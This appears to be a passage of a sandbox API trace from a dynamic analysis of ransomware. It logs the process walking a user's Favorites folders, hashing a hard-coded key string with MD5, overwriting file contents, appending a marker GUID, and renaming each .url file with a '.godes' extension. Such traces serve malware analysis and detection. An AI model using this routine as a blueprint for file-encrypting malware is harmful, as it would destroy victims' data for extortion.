returned 1 [0114.037] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x85, lpOverlapped=0x0) returned 1 [0114.037] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.037] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.037] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.037] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.038] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.038] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.038] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.038] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.038] GetLastError () returned 0x0 [0114.038] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.038] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.038] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.038] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.038] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.038] CloseHandle (hObject=0x624) returned 1 [0114.039] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.godes")) returned 1 [0114.040] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0114.040] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.040] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.040] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.040] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0114.040] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0114.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.040] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.040] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.041] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.041] PathFindFileNameW (pszPath="") returned="" [0114.041] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.041] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.041] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.041] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.041] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0114.041] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.041] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0114.042] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.042] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned=".url" [0114.042] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.042] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=133) returned 1 [0114.042] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.044] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.044] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.045] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.045] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x85, lpOverlapped=0x0) returned 1 [0114.045] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.045] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.045] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.045] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.046] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.046] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.046] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.046] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.046] GetLastError () returned 0x0 [0114.046] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.046] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0114.046] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.046] WriteFile (in: hFile=0x624, lpBuffer=0x31e3c08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x31e3c08*, lpNumberOfBytesWritten=0x3b2fb24*=0x80, lpOverlapped=0x0) returned 1 [0114.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.047] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.047] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.047] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.047] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.047] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.047] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.047] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.047] CloseHandle (hObject=0x624) returned 1 [0114.048] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0114.048] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3321120 [0114.048] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0114.048] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.godes")) returned 1 [0114.048] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.048] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.049] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0114.049] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0114.049] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.049] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0114.049] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.049] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned=".url" [0114.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.050] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=133) returned 1 [0114.050] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.052] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.052] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.053] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.053] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.053] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.053] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x85, lpOverlapped=0x0) returned 1 [0114.053] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.053] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.053] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.053] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.053] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.054] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.054] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.054] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.054] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.054] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.054] GetLastError () returned 0x0 [0114.054] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.054] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.054] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.054] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0114.054] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.054] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.054] WriteFile (in: hFile=0x624, lpBuffer=0x31e3c08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x31e3c08*, lpNumberOfBytesWritten=0x3b2fb24*=0x80, lpOverlapped=0x0) returned 1 [0114.054] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.054] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.055] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.055] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.055] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.055] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.055] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.055] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.055] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.055] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.055] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.055] CloseHandle (hObject=0x624) returned 1 [0114.057] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0114.057] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0114.057] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0114.057] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.godes")) returned 1 [0114.057] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.057] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.058] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0114.058] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0114.058] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.058] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0114.058] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.058] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned=".url" [0114.059] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.059] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=133) returned 1 [0114.059] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.061] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.061] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.061] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.061] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.061] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.061] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x85, lpOverlapped=0x0) returned 1 [0114.061] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.062] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.062] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.062] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.062] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.062] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.062] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.062] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.062] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.062] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.062] GetLastError () returned 0x0 [0114.063] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.063] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.063] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.063] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0114.063] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.063] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.063] WriteFile (in: hFile=0x624, lpBuffer=0x31e3c08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x31e3c08*, lpNumberOfBytesWritten=0x3b2fb24*=0x80, lpOverlapped=0x0) returned 1 [0114.063] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: 